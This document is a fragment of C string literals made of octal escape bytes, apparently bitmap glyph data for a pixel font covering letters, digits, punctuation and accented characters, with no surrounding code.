"\377\377\377x\70<~\377\367\343\301\0\0\0\0\0\0\0\0\0\0ppp\177\177\177ppp\0\0" "\1\7\177\177|ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\70\370\370\370\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0pppp\177\177\177pppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\370\340\200\0\0\0\0\0\200\340\370\370\370\370\70\70\0\0\0\0\0\377\377" "\377\1\17\77\376\370\300\370\376\77\17\1\377\377\377\0\0\0\0\0pp\177\177\177ppp\1\7\7\7" "\1ppp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\360\340\200\0\0\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\1\7\37>\374\360\340\200\0\377\377\377\0\0\0\0\0\0\0pp\177\177\177ppp\0\0\1\7" "\17>\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\360\340\300\200\0\0\0\0\0\0\0\376\377\377" "\3\0\0\0\0\0\0\0\0\0\0\3\377\377\376\0\0\0\0\0\0\1\7\17\37<\70ppppp" "p\70<\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70xp\360\340\200\0\0\0\0\0\0\0\0\0\0" "\377\377\377\340\340\340\340\340\340px\77\37\17\0\0\0\0\0\0\0ppp\177\177\177ppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\340\340\300\200\0\0\0\0\0\0\0\376\377\377" "\3\0\0\0\0\0\0\0\0\0\0\3\377\377\376\0\0\0\0\0\0\1\7\17\36\274\370\360pppp" "p\70<\36\17\7\1\0\0\0\0\0\0\0\0\16\17\17\7\7\7\7\7\17\16\16\16\16\17\7\7\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70x\360\360\340\200\0\0\0\0\0\0\0\0\0\0" "\377\377\377pppp\360\360\370\274\37\17\7\0\0\0\0\0\0\0ppp\177\177\177ppp\0\0" "\1\3\7\37~|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\340\360p\70\70\70\70\70xp\360\370\370\0\0\0\0\0\0\0\0\0\0\7\17" "\37\36<\70\70xpp\360\343\343\303\200\0\0\0\0\0\0\0\0\0\177\177\177\70\60ppppp" "p\71\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\370\370\370\70\70\70\70\370\370\370\70\70\70\70\370\370\370\0\0\0\0\0\0\0\17\17\17" "\0\0\0\0\377\377\377\0\0\0\0\17\17\17\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\70\70\70\0\0\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\70\370\370\370\70\70\70\0\0\0\70\70\70\370\370\370\70\70\70\0\0\0\0\0\0\1" "\7\77\377\370\340\0\0\0\340\370\377\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\177x\177" "\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\370\370\370\70\70\70\70\0\0\0\70\70\70\70\370\370\370\70\0\0\0\0\0\0\7\377\377" "\370\0\340\374\377\37\377\374\340\0\370\377\377\7\0\0\0\0\0\0\0\0\3\177\177\177\37\3\0\0\0\3" "\37\177\177\177\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70x\370\370\370\270\70\0\0\0\70\270\370\370\370x\70\70\0\0\0\0\0\0\0\0\0" "\1\203\307\357\376|\376\357\307\203\1\0\0\0\0\0\0\0\0\0ppx|\177\177wq\0\0\0q" "w\177\177|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70xx\370\370\270\70\0\0\0\70\270\370\370xx\70\70\0\0\0\0\0\0\0\0\0" "\1\7\17\77\374\370\374\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0pppp\177\177\177p" "ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\370\370\370\70\70\70\70\70\70\370\370\370x\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\300\340\360|>\37\7\3\201\200\200\0\0\0\0\0\0\0\0\0p|~\177wsqppp" "pp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\16\16\16\16\0\0\0\0\0" "\0\0\0\0\0\0\0\7\37\377\374\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\3\37\177\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77" "\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\360|>|\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\16" "\17\17\3\1\0\0\0\1\3\17\17\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70" "\0\0\0\0\0\0\0\0\0\0\6\16\34\70p`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\216" "\216\217\307\307\307\307\307\307\317\376\376\374\0\0\0\0\0\0\0\0\0\0\36\77\177sqqqqq\71" "\31\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377<\16\16\7\7\7\7\17\16>\374\370\340\0\0\0\0\0ppp\177\177\177<\70pppp" "ppx<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370" "\374\36\16\17\7\7\7\7\17\16~\177\177\0\0\0\0\0\0\0\0\0\7\37\77\16\17\7\7\7\7\17\16>\377\377\377\0\0\0\0\0\0\0\0\3\17\37<\70xppppx" "\70\34\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370" "\374\336\316\317\307\307\307\307\317\316\336\374\370\360\0\0\0\0\0\0\0\3\17\37\77=yyqqqq" "qqqy\71\71\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\370\370<\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\7" "\7\7\7\377\377\377\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0pppp\177\177\177pp" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374" ">\16\17\7\7\7\17\16>\377\377\377\7\7\7\0\0\0\0\0\0\3\17\37>xppppx\70" "\36\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70<\36\37\17\3\0\0\0\0" "\0\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\34\16\7\7\7\7\17\376\374\370\0\0\0\0\0\0\0\0\0pp\177\177\177pp\0\0\0" "pp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177" "pppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70\70<\37\17\7\0\0\0\0\0" "\0\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\300\340\367\377\77\37\17\7\7\7\0\0\0\0\0\0\0\0ppp\177\177\177\1\3\7\17\177" "~|xppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\34\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177" "pppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\16\6\7\7\377\376\376\16\7\7\7\377\376\374\0\0\0\0\0\0p\177\177\177pp\0\0\177\177\177" "pp\0\0\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\377\377\377\34\16\7\7\7\7\17\376\374\370\0\0\0\0\0\0\0\0\0pp\177\177\177pp\0\0\0" "pp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370" "\374>\16\7\7\7\7\7\7\7\16>\374\370\340\0\0\0\0\0\0\0\3\17\37>\70ppppp" "pp\70>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\34\16\6\7\7\7\7\7\16\36\374\370\360\0\0\0\0\0\0\0\0\377\377\377\34\70\60ppp" "p\70\70\36\37\17\3\0\0\0\0\0\70\70\70\77\77\77\70\70\70\70\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374" ">\16\17\7\7\7\7\17\16>\377\377\377\7\7\7\0\0\0\0\0\3\17\37>\70xpppp\70" "\70\36\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\77\77\77\70\70\70" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\377\377\377<\16\16\7\7\7\17\37\16\4\0\0\0\0\0\0\0pppp\177\177\177ppp" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "x\376\376\357\307\307\307\307\307\217\236\237\37\0\0\0\0\0\0\0\0\0\0~~~\70\71qqqq" "qs;\77\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\7\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\37\77\77xppp" "px\70<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\377\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177xpppp" "x\70\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17\77" "\377\377\347\207\0\0\0\207\347\377\177\37\7\7\7\0\0\0\0\0\0\0\0\0\0\3\17\77~x~\37" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\177\377" "\377\307\7\340\370\370\370\340\7\307\377\377\177\7\7\0\0\0\0\0\0\0\0\7\177\177\177\17\1\0\1\17" "\177\177\177\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17" "\37\77\177\367\340\300\340\367\77\37\17\7\7\7\0\0\0\0\0\0\0pppx|~w\3\1\3w" "\177~|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17" "\77\377\377\347\207\0\0\0\7\307\367\377\77\17\7\7\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\374" "\77\17\3\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70<\77\77;\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\77\77\77\7\207\307\347\367\177\77\37\17\7\0\0\0\0\0\0\0\0\0\0\0x|~\177wsqp" "pp|||\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374<\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\300\300\340\377\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\16\16\16\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\34\34<\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\377\377\340\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360" "\370\70\34" "wc\303\307\206\216\34\30\70\60`\340\300\0\0\0\0\0\0\0\0\0\0\0\360\360\200\201\201\203\207\206" "\316\374|\16\7\3\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340`p\60\70\270\270\70\70\70pp\340\340\300\0\0\0\0\0\374\377\17\3" "\360\374\376\17\7\3\3\7\36\237\237\0\0\3\377\377\374\0\0\0\3\17\37<\70swgnnnn" "gw\63\71\34\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\60\260\230\230\230\230\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\236\277\263\261\261\261\231\277\277\260\260\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "p\70\34\16\206\300\340p\70\34\16\6\0\0\0\0\0\0\0\0\0\1\3\7\16\34\70pa\3\7\16" "\34\70p`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34" "\34\34\34\34\34\34\34\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp" "ppppppppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\340\340p\260\270\270\270\270\270\70\60p\340\340\300\200\0\0\0\0\0\374\377\377\3" "\0\0\377\377\377c\343\347\377\177>\0\3\17\377\376\370\0\0\0\1\7\17\37<\70wwwpqs" "ww><\34\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\60\20\30\10\30\20\60\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\3\6\4\14\10\14\4\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70" "\70\70\70\70\377\377\377\70\70\70\70\70\70\70\0\0\0\0\0\0\0ppppppp\177\177\177p" "pppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\60\70\34\14\14\234\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340\360\370\334\317\303\301\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\30\34\214\214\314\374x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\60p\340\301\301\301c\177\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0@\340p\60\70\34\34\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\377\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\70pppp" "\70\34\177\177\177pp\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\360\370\70\34\14\374\374\14\14\14\374\374\14\14\0\0\0\0\0\0\0\0\0\7\17" "\37\70\60\60\377\377\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\377\377\0\0" "\200\377\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0\3\3\3\3\3\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\60xxx\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\34\35\37\16\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\60\60\30\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\300\300\300\377\377\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340p\60\30\30\30\60p\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\207\217\234\230\260\260\260\230\234\217\207\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\16" "\34\70p\340\300\206\16\34\70p\340\300\200\0\0\0\0\0\0\0\0\0`p\70\34\16\7\3ap\70" "\34\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\60\60\30\370\370\0\0\0\0\0\0\0\0\0\0\300\340@\0\0\0\0\0\0```\177" "\177```\0\300\340x\34\216\343\61\370\370\0\0\0\0\0\0\0\0\0\0\0\10\34\16\7\1\0\14" "\17\17\15l\177\177l\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\60\60\30\370\370\0\0\0\0\0\0\0\200\300\340@\0\0\0\0\0\0\0\0```\177" "\177``\300\340x<\316\347q\60\60p\340\300\0\0\0\0\0\0\0\0\0\4\16\7\3\0\0\0p" "x|lfgsq\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\30\34\214\214\214\374x\0\0\0\0\0\200\300\340@\0\0\0\0\0\0\0\30\70\60a" "aa;\77\216\340p<\16\207\343\60\370\370\0\0\0\0\0\0\0\0\0\0\0\4\16\7\3\1\0\14" "\17\17ml\177\177l\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\6\217\217\217\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370<\34\37\17\17\0" "\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\3\7\17\36\34\34\34\34\34\34\37\17\17\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\370\371\371{\373\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\370\370\373{\371\361\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70:;;\371\370\370x\371\363\303\2\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70;;\370\370\371y\373\362\303\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 